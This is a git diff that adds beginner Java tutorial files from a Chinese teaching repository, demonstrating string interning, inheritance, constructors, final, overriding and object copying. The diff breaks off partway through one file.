b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo.java new file mode 100644 index 0000000000..e9c0f7bc54 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo.java @@ -0,0 +1,12 @@ +package com.itwanger.thirtyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class StringInternDemo { + public static void main(String[] args) { +String s1 = new String("二哥") + new String("三妹"); +String s2 = s1.intern(); +System.out.println(s1 == s2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo1.java new file mode 100644 index 0000000000..d94791ef68 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo1.java @@ -0,0 +1,25 @@ +package com.itwanger.thirtyfive; + +import java.util.Random; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class StringInternDemo1 { + static final int MAX = 1000 * 10000; + static final String[] arr = new String[MAX]; + + public static void main(String[] args) throws Exception { + Integer[] DB_DATA = new Integer[10]; + Random random = new Random(10 * 10000); + for (int i = 0; i < DB_DATA.length; i++) { + DB_DATA[i] = random.nextInt(); + } + long t = System.currentTimeMillis(); + for (int i = 0; i < MAX; i++) { + arr[i] = new String(String.valueOf(DB_DATA[i % DB_DATA.length])); + } + + System.out.println((System.currentTimeMillis() - t) + "ms"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo2.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo2.java new file mode 100644 index 0000000000..a7be6e94b5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/StringInternDemo2.java @@ -0,0 +1,12 @@ +package com.itwanger.thirtyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class StringInternDemo2 { + public static void main(String[] args) { +String s1 = new String("二哥三妹"); +String s2 = s1.intern(); +System.out.println(s1 == s2); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingByIntefaceDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingByIntefaceDemo.java new file mode 100644 index 0000000000..9afc087d03 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingByIntefaceDemo.java @@ -0,0 +1,11 @@ +package com.itwanger.thirtyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +interface I {} +class A1{} +class B1 extends A1 implements I {} +public class UpcastingByIntefaceDemo { + I i = new B1(); +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingDemo.java new file mode 100644 index 0000000000..04115feb0f --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfive/UpcastingDemo.java @@ -0,0 +1,13 @@ +package com.itwanger.thirtyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ + +class A{} +class B extends A{} + +public class UpcastingDemo { + // 向上转型 + A a = new B(); +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/B.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/B.java new file mode 100644 index 0000000000..e707e54467 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/B.java @@ -0,0 +1,23 @@ +package com.itwanger.thirtyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class A { + A () { + System.out.println("父类构造方法"); + } +} +public class B extends A{ + B() { + System.out.println("子类构造方法"); + } + + { + System.out.println("代码初始化块"); + } + + public static void main(String[] args) { + new B(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Bike.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Bike.java new file mode 100644 index 0000000000..1b2670a187 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Bike.java @@ -0,0 +1,21 @@ +package com.itwanger.thirtyfour; + +import java.util.ArrayList; +import java.util.List; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Bike { + List list; + + { + list = new ArrayList<>(); + list.add("沉默王二"); + list.add("沉默王三"); + } + + public static void main(String[] args) { + System.out.println(new Bike().list); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car.java new file mode 100644 index 0000000000..1bdf9501a1 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car.java @@ -0,0 +1,18 @@ +package com.itwanger.thirtyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Car { + Car() { + System.out.println("构造方法"); + } + + { + System.out.println("代码初始化块"); + } + + public static void main(String[] args) { + new Car(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car1.java new file mode 100644 index 0000000000..098af4ccb0 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Car1.java @@ -0,0 +1,11 @@ +package com.itwanger.thirtyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Car1 { + final int speedLimit = 60; + void run() { +// speedLimit = 90; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalClassDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalClassDemo.java new file mode 100644 index 0000000000..e379b229e1 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalClassDemo.java @@ -0,0 +1,11 @@ +package com.itwanger.thirtyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +final class Car3{} +//class Honda1 extends Car3 { +// +//} +public class FinalClassDemo { +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalMethodInherited.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalMethodInherited.java new file mode 100644 index 0000000000..383c467785 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/FinalMethodInherited.java @@ -0,0 +1,20 @@ +package com.itwanger.thirtyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Car4{ + final void run () { + System.out.println("开跑"); + } +} + +class Honda2 extends Car4 { + +} + +public class FinalMethodInherited { + public static void main(String[] args) { + new Honda2().run(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Honda.java b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Honda.java new file mode 100644 index 0000000000..a48ecbb7e5 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyfour/Honda.java @@ -0,0 +1,16 @@ +package com.itwanger.thirtyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Honda extends Car2 { +// void run () { +// System.out.println("正在跑"); +// } +} + +class Car2 { + final void run () { + System.out.println("跑"); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike.java new file mode 100644 index 0000000000..2645f6cc0e --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike.java @@ -0,0 +1,17 @@ +package com.itwanger.thirtyone; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Bike extends Vehicle { + public static void main(String[] args) { + Bike bike = new Bike(); + bike.run(); + } +} + +class Vehicle { + void run() { + System.out.println("车辆在跑"); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike1.java new file mode 100644 index 0000000000..c083153102 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Bike1.java @@ -0,0 +1,22 @@ +package com.itwanger.thirtyone; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Bike1 extends Vehicle1 { + @Override + void run() { + System.out.println("自行车在跑"); + } + + public static void main(String[] args) { + Bike bike = new Bike(); + bike.run(); + } +} + +class Vehicle1 { + void run() { + System.out.println("车辆在跑"); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo.java new file mode 100644 index 0000000000..144c894345 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo.java @@ -0,0 +1,17 @@ +package com.itwanger.thirtyone; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class PrimitiveTypeDemo { + public static void main(String[] args) { + int age = 18; + modify(age); + System.out.println(age); + } + + private static void modify(int age1) { + age1 = 30; + } + +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo1.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo1.java new file mode 100644 index 0000000000..eab4e4d219 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/PrimitiveTypeDemo1.java @@ -0,0 +1,17 @@ +package com.itwanger.thirtyone; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class PrimitiveTypeDemo1 { + public static void main(String[] args) { + int age = 18; + age = modify(age); + System.out.println(age); + } + + private static int modify(int age1) { + age1 = 30; + return age1; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/ReferenceTypeDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/ReferenceTypeDemo.java new file mode 100644 index 0000000000..1e38ec43d4 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/ReferenceTypeDemo.java @@ -0,0 +1,16 @@ +package com.itwanger.thirtyone; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +class ReferenceTypeDemo { + public static void main(String[] args) { + String name = "二哥"; + modify(name); + System.out.println(name); + } + + private static void modify(String name1) { + name1 = "三妹"; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyone/Test.java b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Test.java new file mode 100644 index 0000000000..3416c834df --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyone/Test.java @@ -0,0 +1,11 @@ +package com.itwanger.thirtyone; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Test { + public static void main(String[] args) { +int age = 18; +String name = "二哥"; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/CarDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/CarDemo.java new file mode 100644 index 0000000000..00a4867475 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/CarDemo.java @@ -0,0 +1,22 @@ +package com.itwanger.thirtyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Car{ + void run(){ + System.out.println("跑"); + } +} +class Weilai extends Car { + @Override + void run() { + System.out.println("用电跑"); + } +} +public class CarDemo { + public static void main(String[] args) { + Car car = new Weilai(); + car.run(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Cat.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Cat.java new file mode 100644 index 0000000000..9338115dea --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Cat.java @@ -0,0 +1,15 @@ +package com.itwanger.thirtyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Cat { + private void eat() { + System.out.println("吃"); + } + + public static void main(String[] args) { + Cat cat = new Cat(); + cat.eat(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Demo.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Demo.java new file mode 100644 index 0000000000..62d39a4931 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Demo.java @@ -0,0 +1,12 @@ +package com.itwanger.thirtyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Demo { + public static void main(String[] args) { + String chenmo = "沉默"; + String wanger = "王二"; + System.out.println(chenmo + wanger); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Dog.java b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Dog.java new file mode 100644 index 0000000000..930a3c8435 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtyseven/Dog.java @@ -0,0 +1,10 @@ +package com.itwanger.thirtyseven; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Dog { + public static void main(String[] args) { + Dog dog; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtysix/StringDemo.java b/codes/TechSister/src/main/java/com/itwanger/thirtysix/StringDemo.java new file mode 100644 index 0000000000..5a3b548ec8 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtysix/StringDemo.java @@ -0,0 +1,11 @@ +package com.itwanger.thirtysix; + + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class StringDemo { + public static void main(String[] args) { + System.out.println(new String("小萝莉").intern() == "小萝莉"); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/CallParentParamConstrutor.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/CallParentParamConstrutor.java new file mode 100644 index 0000000000..d1f1f13308 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/CallParentParamConstrutor.java @@ -0,0 +1,33 @@ +package com.itwanger.thirtythree; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Person { + int id; + String name; + + Person(int id, String name) { + this.id = id; + this.name = name; + } +} + +class Emp extends Person { + float salary; + + Emp(int id, String name, float salary) { + super(id, name); + this.salary = salary; + } + + void display() { + System.out.println(id + " " + name + " " + salary); + } +} + +public class CallParentParamConstrutor { + public static void main(String[] args) { + new Emp(1, "沉默王二", 20000f).display(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/Compiler.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/Compiler.java new file mode 100644 index 0000000000..5d2cfa12d4 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/Compiler.java @@ -0,0 +1,7 @@ +package com.itwanger.thirtythree; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Compiler { +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentConstructor.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentConstructor.java new file mode 100644 index 0000000000..bd4746a719 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentConstructor.java @@ -0,0 +1,22 @@ +package com.itwanger.thirtythree; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ReferParentConstructor { + public static void main(String[] args) { + new Dog2(); + } +} + +class Animal2 { + Animal2(){ + System.out.println("动物来了"); + } +} + +class Dog2 extends Animal2 { + Dog2() { + System.out.println("狗狗来了"); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentField.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentField.java new file mode 100644 index 0000000000..b80be34e6b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentField.java @@ -0,0 +1,23 @@ +package com.itwanger.thirtythree; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ReferParentField { + public static void main(String[] args) { + new Dog().printColor(); + } +} + +class Animal { + String color = "白色"; +} + +class Dog extends Animal { + String color = "黑色"; + + void printColor() { + System.out.println(color); + System.out.println(super.color); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentMethod.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentMethod.java new file mode 100644 index 0000000000..4e9ef75061 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/ReferParentMethod.java @@ -0,0 +1,32 @@ +package com.itwanger.thirtythree; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class ReferParentMethod { + public static void main(String[] args) { + new Dog1().work(); + } +} + +class Animal1 { + void eat() { + System.out.println("吃..."); + } +} + +class Dog1 extends Animal1 { + @Override + void eat() { + System.out.println("吃..."); + } + + void bark() { + System.out.println("汪汪汪..."); + } + + void work() { + super.eat(); + bark(); + } +} \ No newline at end of file diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtythree/StringTest.java b/codes/TechSister/src/main/java/com/itwanger/thirtythree/StringTest.java new file mode 100644 index 0000000000..59295bd96d --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtythree/StringTest.java @@ -0,0 +1,22 @@ +package com.itwanger.thirtythree; + + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class StringTest { + + public void test() { + int i = 8; + while ((i -= 3) > 0); + System.out.println("i = " + i); + } + + public static void main(String[] args) { + StringTest hello = new StringTest(); + for (int i = 0; i < 50_000; i++) { + hello.test(); + } + } + +} diff --git a/codes/TechSister/src/main/java/com/itwanger/thirtytwo/B.java b/codes/TechSister/src/main/java/com/itwanger/thirtytwo/B.java new file mode 100644 index 0000000000..97eac7491a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/thirtytwo/B.java @@ -0,0 +1,23 @@ +package com.itwanger.thirtytwo; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class A{ + A get(){return this;} +} + +public class B extends A{ + @Override + B get() { + return this; + } + + void out() { + System.out.println("返回类型协变"); + } + + public static void main(String[] args) { + new B().get().out(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/HierarchicalInheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/HierarchicalInheritanceDemo.java new file mode 100644 index 0000000000..72a9f47d19 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/HierarchicalInheritanceDemo.java @@ -0,0 +1,35 @@ +package com.itwanger.twentyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ + +class Animal2 { + void eat() { + System.out.println("吃..."); + } +} + +class Dog2 extends Animal2 { + void bark() { + System.out.println("汪汪汪..."); + } +} + +class Cat extends Animal2 { + void meow() { + System.out.println("喵喵喵..."); + } +} + +public class HierarchicalInheritanceDemo { + public static void main(String[] args) { + Cat c = new Cat(); + c.meow(); + c.eat(); + + Dog2 d = new Dog2(); + d.bark(); + d.eat(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultilevelheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultilevelheritanceDemo.java new file mode 100644 index 0000000000..2e7cd2cc9a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultilevelheritanceDemo.java @@ -0,0 +1,32 @@ +package com.itwanger.twentyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ + +class Animal1 { + void eat() { + System.out.println("吃..."); + } +} + +class Dog1 extends Animal1 { + void bark() { + System.out.println("叫唤..."); + } +} + +class BabyDog extends Dog1 { + void weep() { + System.out.println("嗷嗷地哭..."); + } +} + +class MultilevelInheritanceDemo { + public static void main(String[] args) { + BabyDog d = new BabyDog(); + d.weep(); + d.bark(); + d.eat(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultiplelnheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultiplelnheritanceDemo.java new file mode 100644 index 0000000000..6000234500 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/MultiplelnheritanceDemo.java @@ -0,0 +1,25 @@ +package com.itwanger.twentyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ + +class A { + void eat() { + System.out.println("A 在吃..."); + } +} + +class B { + void eat() { + System.out.println("B 在吃..."); + } +} + +//class C extends A, B { +//} + +class MultipleInheritanceDemo { + public static void main(String[] args) { + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/Programmer.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Programmer.java new file mode 100644 index 0000000000..6447cda636 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Programmer.java @@ -0,0 +1,19 @@ +package com.itwanger.twentyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +class Employee { + float salary = 40000; +} + +class Programmer extends Employee { + int bonus = 10000; + + public static void main(String args[]) { + Programmer p = new Programmer(); + + System.out.println("程序员的薪水是 " + p.salary); + System.out.println("程序员的奖金是:" + p.bonus); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/SingleInheritanceDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/SingleInheritanceDemo.java new file mode 100644 index 0000000000..406123b3e6 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/SingleInheritanceDemo.java @@ -0,0 +1,25 @@ +package com.itwanger.twentyeight; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ + +class Animal { + void eat() { + System.out.println("吃..."); + } +} + +class Dog extends Animal { + void bark() { + System.out.println("叫唤..."); + } +} + +class SingleInheritanceDemo { + public static void main(String[] args) { + Dog d = new Dog(); + d.bark(); + d.eat(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyeight/Test.java b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Test.java new file mode 100644 index 0000000000..d97cbb5632 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyeight/Test.java @@ -0,0 +1,11 @@ +package com.itwanger.twentyeight; + +import java.util.ArrayList; +import java.util.Arrays; + +/** + * @author 微信搜「沉默王二」,回复关键字 Java + */ +public class Test { + ArrayList a; +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/Bike.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Bike.java new file mode 100644 index 0000000000..89fc1bd1df --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Bike.java @@ -0,0 +1,14 @@ +package com.itwanger.twentyfive; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class Bike { + Bike(){ + System.out.println("一辆自行车被创建"); + } + + public static void main(String[] args) { + Bike bike = new Bike(); + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/ClonePerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ClonePerson.java new file mode 100644 index 0000000000..81fe2baa39 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ClonePerson.java @@ -0,0 +1,33 @@ +package com.itwanger.twentyfive; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class ClonePerson implements Cloneable { + private String name; + private int age; + + public ClonePerson(String name, int age) { + this.name = name; + this.age = age; + } + + @Override + protected Object clone() throws CloneNotSupportedException { + return super.clone(); + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) throws CloneNotSupportedException { + ClonePerson p1 = new ClonePerson("沉默王二",18); + p1.out(); + + ClonePerson p2 = (ClonePerson) p1.clone(); + p2.out(); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyConstrutorPerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyConstrutorPerson.java new file mode 100644 index 0000000000..43aaf1e94b --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyConstrutorPerson.java @@ -0,0 +1,33 @@ +package com.itwanger.twentyfive; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class CopyConstrutorPerson { + private String name; + private int age; + + public CopyConstrutorPerson(String name, int age) { + this.name = name; + this.age = age; + } + + public CopyConstrutorPerson(CopyConstrutorPerson person) { + this.name = person.name; + this.age = person.age; + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) { + CopyConstrutorPerson p1 = new CopyConstrutorPerson("沉默王二",18); + p1.out(); + + CopyConstrutorPerson p2 = new CopyConstrutorPerson(p1); + p2.out(); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyValuePerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyValuePerson.java new file mode 100644 index 0000000000..0d356a8fe4 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/CopyValuePerson.java @@ -0,0 +1,34 @@ +package com.itwanger.twentyfive; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class CopyValuePerson { + private String name; + private int age; + + public CopyValuePerson(String name, int age) { + this.name = name; + this.age = age; + } + + public CopyValuePerson() { + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) { + CopyValuePerson p1 = new CopyValuePerson("沉默王二",18); + p1.out(); + + CopyValuePerson p2 = new CopyValuePerson(); + p2.name = p1.name; + p2.age = p1.age; + + p2.out(); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/OverloadingConstrutorPerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/OverloadingConstrutorPerson.java new file mode 100644 index 0000000000..540b720f58 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/OverloadingConstrutorPerson.java @@ -0,0 +1,35 @@ +package com.itwanger.twentyfive; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class OverloadingConstrutorPerson { + private String name; + private int age; + private int sex; + + public OverloadingConstrutorPerson(String name, int age, int sex) { + this.name = name; + this.age = age; + this.sex = sex; + } + + public OverloadingConstrutorPerson(String name, int age) { + this.name = name; + this.age = age; + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age + " 性别 " + sex); + } + + public static void main(String[] args) { + OverloadingConstrutorPerson p1 = new OverloadingConstrutorPerson("沉默王二",18, 1); + p1.out(); + + OverloadingConstrutorPerson p2 = new OverloadingConstrutorPerson("沉默王三",16); + p2.out(); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/ParamConstructorPerson.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ParamConstructorPerson.java new file mode 100644 index 0000000000..e11896a744 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/ParamConstructorPerson.java @@ -0,0 +1,28 @@ +package com.itwanger.twentyfive; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class ParamConstructorPerson { + private String name; + private int age; + + public ParamConstructorPerson(String name, int age) { + this.name = name; + this.age = age; + } + + public void out() { + System.out.println("姓名 " + name + " 年龄 " + age); + } + + public static void main(String[] args) { + ParamConstructorPerson p1 = new ParamConstructorPerson("沉默王二",18); + p1.out(); + + ParamConstructorPerson p2 = new ParamConstructorPerson("沉默王三",16); + p2.out(); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfive/Person.java b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Person.java new file mode 100644 index 0000000000..ee70fb968a --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfive/Person.java @@ -0,0 +1,16 @@ +package com.itwanger.twentyfive; + +/** + * @author 沉默王二,一枚有趣的程序员 + */ +public class Person { + private String name; + private int age; + + public static void main(String[] args) { + Person p = new Person(); + System.out.println("姓名 " + p.name + " 年龄 " + p.age); + } +} + + diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/AbstractDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/AbstractDemo.java new file mode 100644 index 0000000000..f2a2ef240c --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/AbstractDemo.java @@ -0,0 +1,8 @@ +package com.itwanger.twentyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +abstract class AbstractDemo { + abstract void display(); +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/EvenOddDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/EvenOddDemo.java new file mode 100644 index 0000000000..7bec1e0ae9 --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/EvenOddDemo.java @@ -0,0 +1,19 @@ +package com.itwanger.twentyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class EvenOddDemo { + public static void main(String[] args) { + findEvenOdd(10); + findEvenOdd(11); + } + + public static void findEvenOdd(int num) { + if (num % 2 == 0) { + System.out.println(num + " 是偶数"); + } else { + System.out.println(num + " 是奇数"); + } + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/InstanceMethodExample.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/InstanceMethodExample.java new file mode 100644 index 0000000000..5adb1a92ee --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/InstanceMethodExample.java @@ -0,0 +1,15 @@ +package com.itwanger.twentyfour; + +/** + * @author 微信搜「沉默王二」,回复关键字 PDF + */ +public class InstanceMethodExample { + public static void main(String[] args) { + InstanceMethodExample instanceMethodExample = new InstanceMethodExample(); + System.out.println(instanceMethodExample.add(1, 2)); + } + + public int add(int a, int b) { + return a + b; + } +} diff --git a/codes/TechSister/src/main/java/com/itwanger/twentyfour/MyAbstractDemo.java b/codes/TechSister/src/main/java/com/itwanger/twentyfour/MyAbstractDemo.java new file mode 100644 index 0000000000..1a15d6fbed --- /dev/null +++ b/codes/TechSister/src/main/java/com/itwanger/twentyfour/MyAbstractDemo.java @@ -0,0 +1,16 @@ +package 